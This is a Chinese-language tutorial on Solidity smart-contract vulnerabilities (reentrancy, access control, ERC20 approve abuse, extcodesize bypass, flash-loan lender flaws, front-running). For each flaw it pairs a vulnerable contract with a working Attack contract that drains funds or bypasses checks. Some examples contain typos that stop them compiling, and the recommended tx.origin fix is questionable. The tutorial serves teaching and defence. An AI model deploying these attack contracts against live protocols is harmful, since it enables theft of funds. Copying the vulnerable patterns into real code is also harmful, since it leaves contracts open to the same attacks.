智能合约的漏洞

重入攻击

重入漏洞本质上是状态同步问题,当智能合约调用外部函数时,执行流会转移到被调用的合约,如果调用合约未能正确同步状态,则在流程转移过程中可能会被重新进入,导致重复执行相同的代码逻辑。具体来说,攻击通常分两个步骤展开:
1,被攻击合约调用攻击合约的外部函数,并转移执行流程。
2,在攻击合约函数内部,利用一定的技巧,再次调用被攻击合约的漏洞函数。
由于以太坊虚拟机 (EVM) 是单线程的,因此在重新进入易受攻击的函数时,合约状态不会正确更新,类似于初始调用。这允许攻击者重复执行某些代码逻辑,从而实现意外行为。典型的攻击模式涉及多次重复的资金提取。

举例

以修改后的WETH为例

contract EtherStore {
mapping(address => uint256) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);

(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
  • 存款函数中,用户可以存入ETH,收到的WETH记录在余额状态变量中。
  • withdraw函数中,用户可以通过调用 call 函数来提取 ETH,call函数用于向用户转账。此时,执行流程转移到用户的合约。如果用户合约是恶意的,它可以通过默认的accept函数重新进入withdraw函数。由于余额没有更新,require语句通过了检查,从而允许攻击合约重复提取 ETH。

攻击者就可以部署一个名为Attack的恶意合约:

contract Attack {
EtherStore public etherStore;
uint256 public constant AMOUNT = 1 ether;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

// receive is called when EtherStore sends Ether to this contract.
receive() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}

// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
  • 攻击函数中,攻击者首先转入一定数量的ETH,调用etherStore.deposit函数将其转入目标合约EtherStore ,然后调用etherStore.withdraw函数提现ETH。这看似是一个常规操作,但问题就出现在下一个函数中。
  • 合约收到 ETH 时默认执行的函数是accept,它标有payable关键字,表示它可以接收发送给它的 ETH(使用fallback函数可以实现类似的效果)。在函数内部,如果目标合约的余额满足条件(大于 1 ETH),则再次调用withdraw函数,触发重新进入。由于目标合约中用户余额只在最后一步更新,因此条件require(bal > 0);仍然成立,允许攻击者继续从目标合约中抽取 ETH 😨😨😨

访问控制漏洞

不受限制的初始化函数

某些合约包含用于设置所有者的初始化函数,但未能限制该函数只能调用一次。攻击者可以利用这一点,再次调用初始化函数,将所有权转移到他们的账户中。

function initContract() public {
owner = msg.sender; // Lack of calling restriction
}

过度授权的角色

使用 OpenZeppelin 的Ownable库时,如果多个角色被分配onlyOwner权限,则会增加攻击面。一旦攻击者获得具有所有者权限的帐户的访问权限,他们就可以执行合约中的任何关键功能。

function criticalFunction() public onlyOwner {
// Critical logic
}

代币销毁函数授权不当

如果代币合约中的销毁函数是公开的,任何人都可以调用它来销毁别人的代币,从而操纵代币供应,导致价格波动和流动性枯竭。

function burn(address account, uint256 amount) public {
_burn(account, amount); // No access control
}

ERC20批准骗局

在区块链世界中,以太坊的ERC20代币标准是最知名的代币协议标准之一。然而在ERC20标准实施过程中,对approve函数的滥用会导致一个严重的安全漏洞ApproveScam 。接下来将对ApproveScam漏洞的原理、后果以及相应的预防措施进行探讨。

ApproveScan漏洞是什么

ApproveScam 漏洞源于对ERC20 标准中批准函数的滥用批准函数旨在允许代币持有者授权特定地址从持有者的账户中转出一定数量的代币。但是,如果持有者批准的金额过大(通常是type(uint256).max表示的无限金额),攻击者可以在未经持有者同意的情况下从持有者的账户中转出所有代币。

具体来说,一旦 Alice 授权 Eve 从 Alice 的账户中转出无限量的代币,Eve 就可以调用transferFrom函数将 Alice 账户中的所有代币转移到自己的账户中。这就是 ApproveScam 漏洞的核心原理。

// Alice approves Eve to transfer an unlimited amount of tokens from Alice's account
ERC20Contract.approve(address(eve), type(uint256).max);

// Eve uses the authorization to transfer all tokens from Alice's account
ERC20Contract.transferFrom(address(alice), address(eve), 1000);

ApproveScan的后果

ApproveScam 漏洞背后的原理虽然简单,但造成的损失却是灾难性的。一旦用户轻易授权某个地址,攻击者便可以在用户不知情的情况下,轻松将用户账户中的所有代币转走。

此外,ApproveScam 漏洞还可能被滥用于洗钱等其他非法活动。总而言之,ApproveScam 是一个严重的安全风险,开发人员和用户需要认真对待。

如何预防ApproveScan

预防 ApproveScam 漏洞的最佳方法是谨慎使用批准功能,尤其是在授权金额时。请遵循以下原则:

  • 仅在必要时调用批准功能,避免过度使用或滥用。
  • 根据实际需要设置授权金额,例如permit(spender, amount)而不是permit(spender, type(uint256).max) 。
  • 完成功能后立即撤销之前的授权,即approve(spender, 0) 。
  • 在智能合约开发过程中,彻底检查批准功能的使用,以防止 ApproveScam 漏洞。

合约账户检查漏洞

在 Solidity 智能合约开发中,开发者经常会使用各种检查机制来保证合约的安全。一种常见的做法是使用extcodesize函数来检查调用者地址的代码大小,从而区分合约账户和外部拥有账户(EOA)。然而,如果滥用该机制,攻击者可以利用合约构造函数中的临时漏洞绕过检查,发起恶意操作。

漏洞分析

智能合约在初次部署时,会先执行构造函数代码,在构造函数执行完成之前,新部署的合约地址上其实是没有任何字节码存在的,这就导致了基于 extcodesize 的检查存在一个盲点:如果攻击者在构造函数内立刻调用目标合约,由于攻击者合约地址上的字节码还未存储,因此extcodesize(address(this))会返回 0,从而绕过isContract 的检查。

contract Attack {
constructor(address _target) {
// At this point, extcodesize(address(this)) == 0
// Bypass the isContract check of the target contract
Target(_target).isContract(address(this));
}
}

上述代码演示了一个典型的攻击场景,Attack合约在构造时传入Target合约地址,并立即在构造函数内调用Target.isContract()函数。由于Attack的部署尚未完成,isContract(address(this))将返回 false,从而允许攻击者绕过这一层保护并调用受保护的函数。

漏洞利用演示

Target合约有一个状态变量pwned,初始设置为false,该合约的设计初衷是只允许外部账户修改其值,而不允许合约账户修改,它通过isContract函数实现者一点,该函数依赖于extaodesize的方法

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Target {
function isContract(address account) public view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

bool public pwned = false;

function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}

如果我们要修改pwned的值,使用以下代码是不能攻击成功的。

contract FailedAttack {
// Attempting to call Target.protected will fail,
// Target blocks calls from contracts
function pwn(address _target) external {
// This will fail
Target(_target).protected();
}
}

因为Target合约只允许外部账户(EOA)调用,而我们的攻击合约是不能修改的

如果我们在构造函数中调用,其就会绕过isContract的检查,攻击代码如下:

contract Attack {
bool public isContract;
address public addr;

// When contract is being created, code size (extcodesize) is 0.
// This will bypass the isContract() check
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// This will work
Target(_target).protected();
}
}

预防措施

为了修复此漏洞,我们可以不依赖extcodesize来执行检查,而是直接比较tx.origin和msg.sender是否相同。由于tx.origin始终指向最初发起交易的 EOA 地址,因此我们可以有效区分合约和 EOA 调用。

function isContract(address account) public view returns (bool) {
require(tx.origin == msg.sender);
return account.code.length > 0;
}

闪电贷攻击

闪电贷贷款人漏洞1

MyToken是标准的 ERC20 代币,作为LenderPool内可供借贷的资产。

LenderPool合约允许用户执行闪电贷交易,其flashLoan函数接受用户请求,借出一定数量的代币,调用目标合约上的特定操作,并偿还贷款。在函数的最后,它会验证偿还后的余额是否大于偿还前的余额。通常,偿还金额包括本金和利息。因此,在发起贷款后,池子的余额应该增加。否则,贷款交易失败。

该合约的漏洞在于目标合约的低代码调用。由于这里没有任何验证机制,并且调用函数提供了广泛的操作能力,例如获取LenderPool中MyToken代币的授权,因此可以从池中抽取所有资产。

 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract LenderPool is ReentrancyGuard {
using Address for address;

MyToken public token;

error RepayFailed();

constructor(MyToken _token) {
token = _token;
}

function flashLoan(
uint256 amount,
address borrower,
address target,
bytes calldata data
) external nonReentrant returns (bool) {
uint256 balanceBefore = token.balanceOf(address(this));
bool ret = token.transfer(borrower, amount);

// it's dangerous
target.functionCall(data);

if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();

return true;
}
}

contract MyToken is ERC20, Ownable {
constructor() ERC20("MyToken", "MTK") Ownable(msg.sender) {
_mint(msg.sender, 10000 * 10**decimals());
}
}

Attack合约的攻击函数中,攻击者从池合约发起一次闪电贷,借入 0 个代币,因为此时他们不需要这些代币。相反,他们构造 calldata以获得LenderPool的批准。一旦flashLoan函数成功执行,他们就会获得授权并执行transferFrom操作将代币转移到自己的地址。

contract Attack {
LenderPool pool;
MyToken token;

constructor(address _pool, address _token) {
pool = LenderPool(_pool);
token = MyToken(_token);
}

function attack()
public
returns (uint256 before_balance, uint256 after_balance)
{
before_balance = token.balanceOf(address(this));
bytes memory _calldata = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
10000
);
pool.flashLoan(0, address(this), address(token), _calldata);


token.transferFrom(address(pool), address(this), 10000);
after_balance = token.balanceOf(address(this));
}
}

闪电贷贷款人漏洞2

这是一个具有漏洞的合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
function execute() external payable;
}

contract EthLenderPool {
mapping(address => uint256) public balances;

error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);

function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}

function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}

function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
}
  • 存款和取款函数用于存入和提取 ETH,用户 ETH 余额记录在合约的余额状态变量中。
  • flashLoan函数用于借出资金。在这里,借款人必须实现IFlashLoanEtherReceiver接口。当资金发送到借款人合约时,还会调用接口中定义的回调函数execute ,允许借款人执行自定义业务逻辑。但是,必须确保借入的资金偿还给贷方池,以保持余额大于或等于原始余额。否则将导致借贷失败。

    风险:只检查还款后的余额大小。但这个余额可能包括用户在合约中持有的资产,用户可以随时提取这些资产。

以下是攻击者合约,在执行回调函数中,攻击者将借入的资金存回池中,确保池子的余额不会减少,但这些资金现在被记录为攻击者

contract Attack is IFlashLoanEtherReceiver{
EthLenderPool pool;

constructor(address _pool) {
pool = EthLenderPool(_pool);
}

function attack(uint amount) public {
pool.flashLoan(amount);
pool.withdraw();
}

function execute() external payable {
pool.deposit{value: msg.value}();
}

receive() external payable { }
}

抢跑交易

它的本质就是利用了交易顺序进行获利

先说以下内涵,通俗来讲,就是被人比你快一步,因为在区块链上的交易都是公开透明的,就是能够获取其他人的交易,攻击者发现了你的交易信息,然后他支出更高的gas费用,在你之前进行交易,就会导致一些问题出现

在以太坊交易中,当你发起一个交易时,首先会进行打包进入交易池,然后矿工来处理这些交易,当然,优先处理gas费更高的交易
举例:这是一个猜谜游戏,猜对即可获得10个ehter

// SPDX-License-Identifier:MIT

pragma solidity^0.8.17;

constract FindThisHash{
bytes32 public constant hash = 111111;

constructor () payable {

}

function solve (string memory solution) public{
require(hash == keccak256(abi.encodePascked(solution)),"Incorrect answer");
(bool sent, ) = msg.sender.call{value:10 ehter}("");
require(sent,"Failed to send Ehter");
}
}

A猜中了答案,调用了solve函数输入正确的答案此时的gas的价格设置为15gwei,然后有个人在交易池发现了这个,B就获取了A的答案,他又用比15gwei高的价格调用solve函数,然后矿工就会先处理B的交易,最后B获得了10以太币的奖励

预防措施

采用 Commit-Reveal 的模式,该方案有两个阶段:Commit 阶段,提交特定的值(比如包含答案的 Hash 值,答案并没有直接暴露出来);以及 Reveal 阶段,其中揭示并检查值(校验答案是否正确)。

为了更好地理解,可以想象一下,发送者 Alice 将一条消息放入一个上锁的盒子中,然后将其交给接收者 Bob。Bob 以及其他任何人无法访问该消息,因为它被锁在盒子里,但是当 Alice 想要透露该消息时,她可以解锁盒子并将该消息显示给 Bob。

签名重放攻击